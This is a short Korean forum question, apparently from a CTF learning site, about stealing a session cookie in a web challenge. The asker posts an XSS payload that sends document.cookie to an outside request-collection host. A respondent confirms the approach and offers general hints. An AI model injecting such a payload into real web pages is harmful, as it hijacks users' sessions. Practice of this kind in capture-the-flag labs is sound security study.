세션쿠키 탈취 맞지 않나요???
<script>window.location.href="https://gxterev.request.dreamhack.games/"+document.cookie</script>
이 페이로드로 진행할려하는데 flag 를 못찾겠어요 인코딩을 해도요
#web
작성자 정보
답변
1
Neo Catharsis
.HACK 2024 참가자
안녕하세요,
접근 방식 자체는 맞으나, 문제에서 요구하는 조건에 맞는 입력을 구상하셔야 합니다.
더불어, 드림핵 디스코드를 통해 풀이자분들께 어려움을 겪고 계신 점을 질문해보시는 쪽도 추천드립니다!